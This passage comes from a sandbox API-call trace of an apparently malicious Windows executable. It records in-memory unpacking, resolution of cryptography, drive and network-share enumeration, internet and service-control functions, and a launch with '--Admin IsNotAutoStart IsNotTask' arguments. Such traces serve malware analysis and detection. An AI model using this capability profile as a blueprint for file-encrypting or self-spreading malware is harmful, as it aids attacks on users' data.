(lpAddress=0x0, dwSize=0x5ec00, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0042.396] VirtualProtect (in: lpAddress=0x400000, dwSize=0x7a000, flNewProtect=0x40, lpflOldProtect=0x18d644 | out: lpflOldProtect=0x18d644*=0x2) returned 1 [0042.408] VirtualFree (lpAddress=0x210000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0042.410] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x75ee0000 [0042.410] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeW") returned 0x75f01635 [0042.410] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringW") returned 0x75f21ee5 [0042.410] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringA") returned 0x75f5d918 [0042.410] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeA") returned 0x75f23fc5 [0042.410] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidCreate") returned 0x75eff48b [0042.410] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x74b30000 [0042.413] GetProcAddress (hModule=0x74b30000, lpProcName="WNetCloseEnum") returned 0x74b32dd6 [0042.413] GetProcAddress (hModule=0x74b30000, lpProcName="WNetOpenEnumW") returned 0x74b32f06 [0042.413] GetProcAddress (hModule=0x74b30000, lpProcName="WNetEnumResourceW") returned 0x74b33058 [0042.413] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x753d0000 [0042.424] GetProcAddress (hModule=0x753d0000, lpProcName="InternetCloseHandle") returned 0x753eab49 [0042.424] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlW") returned 0x7544be5c [0042.424] GetProcAddress (hModule=0x753d0000, lpProcName="InternetReadFile") returned 0x753eb406 [0042.424] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlA") returned 0x754130f1 [0042.424] GetProcAddress (hModule=0x753d0000, lpProcName="HttpQueryInfoW") returned 0x753f5c75 [0042.424] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenA") returned 0x753ff18e [0042.424] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenW") returned 0x753f9197 [0042.424] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x74af0000 [0042.427] GetProcAddress (hModule=0x74af0000, lpProcName="timeGetTime") returned 0x74af26e0 [0042.427] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0042.427] GetProcAddress (hModule=0x75340000, lpProcName="PathFindExtensionW") returned 0x7535a1b9 [0042.427] GetProcAddress (hModule=0x75340000, lpProcName="PathFindFileNameW") returned 0x7535bb71 [0042.428] GetProcAddress (hModule=0x75340000, lpProcName="PathRemoveFileSpecW") returned 0x75353248 [0042.428] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsW") returned 0x753545bf [0042.428] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0042.428] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendA") returned 0x7534d65e [0042.428] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsA") returned 0x7537ad1a [0042.428] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0042.428] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0042.428] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0042.428] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0042.428] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileA") returned 0x76c353c6 [0042.428] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0042.428] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointer") returned 0x76c317d1 [0042.428] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0042.428] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0042.429] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0042.429] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0042.429] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0042.429] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryW") returned 0x76c34259 [0042.429] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0042.429] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDrives") returned 0x76c35371 [0042.429] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0042.429] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0042.429] GetProcAddress (hModule=0x76c20000, lpProcName="GetDriveTypeA") returned 0x76c4ef75 [0042.429] GetProcAddress (hModule=0x76c20000, lpProcName="OpenProcess") returned 0x76c31986 [0042.429] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalAlloc") returned 0x76c3588e [0042.429] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemDirectoryW") returned 0x76c35063 [0042.429] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0042.429] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryW") returned 0x76c3492b [0042.429] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0042.430] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileW") returned 0x76c5830d [0042.430] GetProcAddress (hModule=0x76c20000, lpProcName="FormatMessageW") returned 0x76c34620 [0042.430] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpynW") returned 0x76c5d556 [0042.430] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessA") returned 0x76c31072 [0042.430] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0042.430] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3 [0042.430] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0042.430] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatA") returned 0x76c52b7a [0042.430] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableA") returned 0x76c333a0 [0042.430] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpW") returned 0x76c35929 [0042.430] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0042.430] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700 [0042.430] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0042.430] GetProcAddress (hModule=0x76c20000, lpProcName="GetShortPathNameA") returned 0x76c5594d [0042.431] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSizeEx") returned 0x76c359e2 [0042.431] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0042.431] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0042.431] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0042.431] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0042.431] GetProcAddress (hModule=0x76c20000, lpProcName="MoveFileW") returned 0x76c49af0 [0042.431] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0042.431] GetProcAddress (hModule=0x76c20000, lpProcName="Process32FirstW") returned 0x76c58baf [0042.431] GetProcAddress (hModule=0x76c20000, lpProcName="LocalAlloc") returned 0x76c3168c [0042.431] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventW") returned 0x76c3183e [0042.431] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0042.431] GetProcAddress (hModule=0x76c20000, lpProcName="Process32NextW") returned 0x76c5896c [0042.431] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatW") returned 0x76c5828e [0042.431] GetProcAddress (hModule=0x76c20000, lpProcName="CreateMutexA") returned 0x76c34c6b [0042.431] GetProcAddress (hModule=0x76c20000, lpProcName="FatalAppExitA") returned 0x76cb4691 [0042.432] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0042.432] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0042.432] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0042.432] GetProcAddress (hModule=0x76c20000, lpProcName="LocalFree") returned 0x76c32d3c [0042.432] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyW") returned 0x76c53102 [0042.432] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileA") returned 0x76c35444 [0042.432] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyA") returned 0x76c52a9d [0042.432] GetProcAddress (hModule=0x76c20000, lpProcName="SetPriorityClass") returned 0x76c4cf28 [0042.432] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0042.432] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameW") returned 0x76c3dd0e [0042.432] GetProcAddress (hModule=0x76c20000, lpProcName="GetExitCodeProcess") returned 0x76c4174d [0042.432] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0042.432] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalFree") returned 0x76c35558 [0042.432] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersion") returned 0x76c34467 [0042.432] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryA") returned 0x76c5d526 [0042.433] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5 [0042.433] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0042.433] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0042.433] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0042.433] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0042.433] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0042.433] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0042.433] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0042.433] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0042.433] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0042.433] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0042.433] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0042.433] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0042.433] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeZoneInformation") returned 0x76c3465a [0042.434] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0042.434] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0042.434] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0042.434] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0042.434] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0042.434] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoW") returned 0x76c33c42 [0042.434] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocale") returned 0x76c4ce46 [0042.434] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLCID") returned 0x76c33da5 [0042.434] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesW") returned 0x76cb425f [0042.434] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatW") returned 0x76c534d7 [0042.434] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatW") returned 0x76c4f481 [0042.434] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringW") returned 0x76c33bca [0042.434] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0042.434] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0042.434] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0042.435] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0042.435] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0042.435] GetProcAddress (hModule=0x76c20000, lpProcName="SetEndOfFile") returned 0x76c4ce2e [0042.435] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0042.435] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0042.435] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0042.435] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0042.435] GetProcAddress (hModule=0x76c20000, lpProcName="ReadConsoleW") returned 0x76cd739a [0042.435] GetProcAddress (hModule=0x76c20000, lpProcName="OutputDebugStringW") returned 0x76c5d1d4 [0042.435] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleCtrlHandler") returned 0x76c38a09 [0042.435] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0042.435] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0042.435] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0042.435] GetProcAddress (hModule=0x76c20000, lpProcName="AreFileApisANSI") returned 0x76cb40d1 [0042.435] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0042.436] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0042.436] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0042.436] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThread") returned 0x76c317ec [0042.436] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0042.436] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0042.436] GetProcAddress (hModule=0x76c20000, lpProcName="SetEnvironmentVariableA") returned 0x76c3e331 [0042.436] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0042.436] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0042.436] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0042.436] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0042.436] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreW") returned 0x76c4ca5a [0042.436] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0042.436] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0042.436] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0042.437] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0042.437] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0042.437] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0042.437] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74f40000 [0042.437] GetProcAddress (hModule=0x74f40000, lpProcName="LoadCursorW") returned 0x74f588f7 [0042.437] GetProcAddress (hModule=0x74f40000, lpProcName="TranslateMessage") returned 0x74f57809 [0042.437] GetProcAddress (hModule=0x74f40000, lpProcName="RegisterClassExW") returned 0x74f5b17d [0042.437] GetProcAddress (hModule=0x74f40000, lpProcName="ShowWindow") returned 0x74f60dfb [0042.437] GetProcAddress (hModule=0x74f40000, lpProcName="IsWindow") returned 0x74f57136 [0042.437] GetProcAddress (hModule=0x74f40000, lpProcName="CreateWindowExW") returned 0x74f58a29 [0042.437] GetProcAddress (hModule=0x74f40000, lpProcName="UpdateWindow") returned 0x74f63559 [0042.437] GetProcAddress (hModule=0x74f40000, lpProcName="DefWindowProcW") returned 0x771625dd [0042.437] GetProcAddress (hModule=0x74f40000, lpProcName="PeekMessageW") returned 0x74f605ba [0042.437] GetProcAddress (hModule=0x74f40000, lpProcName="PostThreadMessageW") returned 0x74f58bff [0042.437] GetProcAddress (hModule=0x74f40000, lpProcName="MessageBoxW") returned 0x74fafd3f [0042.438] GetProcAddress (hModule=0x74f40000, lpProcName="DispatchMessageW") returned 0x74f5787b [0042.438] GetProcAddress (hModule=0x74f40000, lpProcName="PostQuitMessage") returned 0x74f59abb [0042.438] GetProcAddress (hModule=0x74f40000, lpProcName="DestroyWindow") returned 0x74f59a55 [0042.438] GetProcAddress (hModule=0x74f40000, lpProcName="SendMessageW") returned 0x74f59679 [0042.438] GetProcAddress (hModule=0x74f40000, lpProcName="GetMessageW") returned 0x74f578e2 [0042.438] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d40000 [0042.438] GetProcAddress (hModule=0x74d40000, lpProcName="CryptGetHashParam") returned 0x74d4df7e [0042.438] GetProcAddress (hModule=0x74d40000, lpProcName="CryptAcquireContextW") returned 0x74d4df14 [0042.438] GetProcAddress (hModule=0x74d40000, lpProcName="OpenSCManagerW") returned 0x74d4ca64 [0042.438] GetProcAddress (hModule=0x74d40000, lpProcName="OpenServiceW") returned 0x74d4ca4c [0042.438] GetProcAddress (hModule=0x74d40000, lpProcName="CryptReleaseContext") returned 0x74d4e124 [0042.438] GetProcAddress (hModule=0x74d40000, lpProcName="GetUserNameW") returned 0x74d5157a [0042.438] GetProcAddress (hModule=0x74d40000, lpProcName="CryptHashData") returned 0x74d4df36 [0042.438] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0042.439] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0042.439] GetProcAddress (hModule=0x74d40000, lpProcName="CryptDestroyHash") returned 0x74d4df66 [0042.439] GetProcAddress (hModule=0x74d40000, lpProcName="ControlService") returned 0x74d67144 [0042.439] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0042.439] GetProcAddress (hModule=0x74d40000, lpProcName="CryptCreateHash") returned 0x74d4df4e [0042.439] GetProcAddress (hModule=0x74d40000, lpProcName="CryptEncrypt") returned 0x74d6779b [0042.439] GetProcAddress (hModule=0x74d40000, lpProcName="CryptImportKey") returned 0x74d4c532 [0042.439] GetProcAddress (hModule=0x74d40000, lpProcName="QueryServiceStatus") returned 0x74d52a86 [0042.439] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExW") returned 0x74d546ad [0042.439] GetProcAddress (hModule=0x74d40000, lpProcName="CloseServiceHandle") returned 0x74d5369c [0042.439] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0042.441] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetPathFromIDListW") returned 0x760617bf [0042.442] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetSpecialFolderLocation") returned 0x7605e141 [0042.442] GetProcAddress (hModule=0x75fd0000, lpProcName="CommandLineToArgvW") returned 0x75fe9ee8 [0042.442] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteA") returned 0x76217078 [0042.442] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0042.442] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0042.442] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitialize") returned 0x755fb636 [0042.442] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitializeSecurity") returned 0x75607259 [0042.442] GetProcAddress (hModule=0x755e0000, lpProcName="CoUninitialize") returned 0x756286d3 [0042.442] GetProcAddress (hModule=0x755e0000, lpProcName="CoCreateInstance") returned 0x75629d0b [0042.442] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x75220000 [0042.442] GetProcAddress (hModule=0x75220000, lpProcName=0xca) returned 0x7522fd6b [0042.442] GetProcAddress (hModule=0x75220000, lpProcName=0x2) returned 0x75224642 [0042.443] GetProcAddress (hModule=0x75220000, lpProcName=0x9) returned 0x75223eae [0042.443] GetProcAddress (hModule=0x75220000, lpProcName=0x8) returned 0x75223ed5 [0042.443] GetProcAddress (hModule=0x75220000, lpProcName=0x6) returned 0x75223e59 [0042.443] GetProcAddress (hModule=0x75220000, lpProcName=0xc8) returned 0x75223f21 [0042.443] GetProcAddress (hModule=0x75220000, lpProcName=0xc) returned 0x75225dee [0042.443] GetProcAddress (hModule=0x75220000, lpProcName=0xc9) returned 0x75224af8 [0042.443] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x74b50000 [0042.447] GetProcAddress (hModule=0x74b50000, lpProcName="GetAdaptersInfo") returned 0x74b59263 [0042.447] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x75bc0000 [0042.448] GetProcAddress (hModule=0x75bc0000, lpProcName=0xc) returned 0x75bcb131 [0042.448] GetProcAddress (hModule=0x75bc0000, lpProcName=0xb) returned 0x75bc311b [0042.448] GetProcAddress (hModule=0x75bc0000, lpProcName=0x34) returned 0x75bd7673 [0042.448] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x74a80000 [0042.453] GetProcAddress (hModule=0x74a80000, lpProcName="DnsQuery_W") returned 0x74a9572c [0042.453] GetProcAddress (hModule=0x74a80000, lpProcName="DnsFree") returned 0x74a8436b [0042.453] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x759b0000 [0042.453] GetProcAddress (hModule=0x759b0000, lpProcName="CryptStringToBinaryA") returned 0x759e5d77 [0042.453] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749c0000 [0042.459] GetProcAddress (hModule=0x749c0000, lpProcName="atexit") returned 0x749dc544 [0042.459] atexit (param_1=0x72a046) returned 0 [0042.459] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18d654 | out: lpSystemTimeAsFileTime=0x18d654*(dwLowDateTime=0xa634d650, dwHighDateTime=0x1d53993)) [0042.459] GetCurrentThreadId () returned 0xaac [0042.459] GetCurrentProcessId () returned 0xaa8 [0042.459] QueryPerformanceCounter (in: lpPerformanceCount=0x18d64c | out: lpPerformanceCount=0x18d64c*=16272209365) returned 1 [0042.459] GetStartupInfoW (in: lpStartupInfo=0x18d5e4 | out: lpStartupInfo=0x18d5e4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x76c33519, hStdOutput=0x7714fd35, hStdError=0x771b7daf)) [0042.459] GetProcessHeap () returned 0x6d0000 [0042.459] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0042.460] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0042.460] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0042.460] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0042.460] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0042.460] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0042.460] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventExW") returned 0x76cb410b [0042.460] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreExW") returned 0x76cb4195 [0042.460] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadStackGuarantee") returned 0x76c3d31f [0042.460] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolTimer") returned 0x76c4ee7e [0042.460] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolTimer") returned 0x7717441c [0042.460] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7719c50e [0042.460] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolTimer") returned 0x7719c381 [0042.461] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWait") returned 0x76c4f088 [0042.461] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolWait") returned 0x771805d7 [0042.461] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWait") returned 0x7719ca24 [0042.461] GetProcAddress (hModule=0x76c20000, lpProcName="FlushProcessWriteBuffers") returned 0x77150b8c [0042.461] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720fde8 [0042.461] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessorNumber") returned 0x771a1e1d [0042.461] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalProcessorInformation") returned 0x76cb4761 [0042.461] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSymbolicLinkW") returned 0x76cacd11 [0042.461] GetProcAddress (hModule=0x76c20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0042.461] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesEx") returned 0x76cb424f [0042.461] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 0x76cb46b1 [0042.461] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatEx") returned 0x76cc6676 [0042.461] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoEx") returned 0x76cb4751 [0042.462] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatEx") returned 0x76cc65f1 [0042.462] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLocaleName") returned 0x76cb47c1 [0042.462] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocaleName") returned 0x76cb47e1 [0042.462] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0042.462] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentPackageId") returned 0x0 [0042.462] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount64") returned 0x76c4eee0 [0042.462] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0042.462] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0042.462] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x3bc) returned 0x77bf30 [0042.463] GetCurrentThreadId () returned 0xaac [0042.463] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x18) returned 0x6e0968 [0042.463] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x800) returned 0x77c2f8 [0042.463] GetStartupInfoW (in: lpStartupInfo=0x18d5b4 | out: lpStartupInfo=0x18d5b4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x41a838, hStdOutput=0x6e07da55, hStdError=0x0)) [0042.463] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0042.463] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0042.463] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0042.463] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe\" --Admin IsNotAutoStart IsNotTask" [0042.463] GetEnvironmentStringsW () returned 0x77cb00* [0042.463] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0xaca) returned 0x77d5d8 [0042.463] FreeEnvironmentStringsW (penv=0x77cb00) returned 1 [0042.463] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x45d598, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe")) returned 0x6a [0042.463] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x12c) returned 0x77cb00 [0042.463] RtlAllocateHeap 